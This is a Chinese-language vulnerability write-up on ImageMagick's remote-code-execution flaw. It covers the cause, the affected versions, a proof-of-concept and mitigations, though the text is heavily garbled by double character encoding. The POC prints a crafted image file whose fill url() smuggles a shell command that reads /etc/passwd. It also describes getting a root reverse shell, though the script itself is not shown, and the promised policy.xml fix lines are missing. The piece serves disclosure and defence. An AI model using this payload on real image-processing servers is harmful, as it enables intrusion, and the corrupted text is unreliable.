1、前言
ImageMagick是一套功能強(qiáng)大、穩(wěn)定而且開(kāi)源的工具集和開(kāi)發(fā)包,可以用來(lái)讀、寫(xiě)和處理超過(guò)89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、PNG、PDF以及PhotoCD等格式。眾多的網(wǎng)站平臺(tái)都是用他渲染處理圖片??上г?號(hào)時(shí)被公開(kāi)了一些列漏洞,其中一個(gè)漏洞可導(dǎo)致遠(yuǎn)程執(zhí)行代碼(RCE),如果你處理用戶提交的圖片。該漏洞是針對(duì)在野外使用此漏洞。許多圖像處理插件依賴于ImageMagick庫(kù),包括但不限于PHP的imagick,Ruby的rmagick和paperclip,以及NodeJS的ImageMagick等。
產(chǎn)生原因是因?yàn)樽址^(guò)濾不嚴(yán)謹(jǐn)所導(dǎo)致的執(zhí)行代碼.對(duì)于文件名傳遞給后端的命令過(guò)濾不足,導(dǎo)致允許多種文件格式轉(zhuǎn)換過(guò)程中遠(yuǎn)程執(zhí)行代碼。
2、影響版本范圍
ImageMagick 6.5.7-8 2012-08-17(手工測(cè)試風(fēng)險(xiǎn)存在)
ImageMagick 6.7.7-10 2014-03-06(手工測(cè)試風(fēng)險(xiǎn)存在)
低版本至6.9.3-9released 2016-04-30
3、攻擊POC演示
先構(gòu)建一個(gè)精心準(zhǔn)備的圖片:
vi exp1.jpg
pushgraphic-context
viewbox 0 0 640480
fill'url(https://"|id && ls -al /etc/passwd")'
popgraphic-context
執(zhí)行攻擊POC1,雖然有報(bào)錯(cuò),但是兩條命令都成功繞出執(zhí)行了,
就說(shuō)明漏洞是存在的
那么在制作一個(gè)遠(yuǎn)程下載反彈shell腳本,并且執(zhí)行shell命令:
執(zhí)行成功,上接受服務(wù)器看去:
Root權(quán)限的反彈shell就這樣上來(lái)了.
4、修復(fù)方案
目前官方的最新修復(fù)補(bǔ)丁版本還未能出來(lái),所以暫時(shí)建議做以下兩種預(yù)防策略:
1. 在上傳圖片時(shí)需要通過(guò)文件內(nèi)容來(lái)判斷用戶上傳的是否為真實(shí)圖片類型.
2.使用策略配置文件來(lái)禁用ImageMagick的有風(fēng)險(xiǎn)的編碼器
對(duì)于ImageMagick全局策略配置文件在/etc/ImageMagick下對(duì)policy.xml最后一行進(jìn)行增加下列配置:
vi/etc/ImageMagick/policy.xml
在去執(zhí)行攻擊POC2看看,無(wú)法執(zhí)行下載動(dòng)作和執(zhí)行命令了。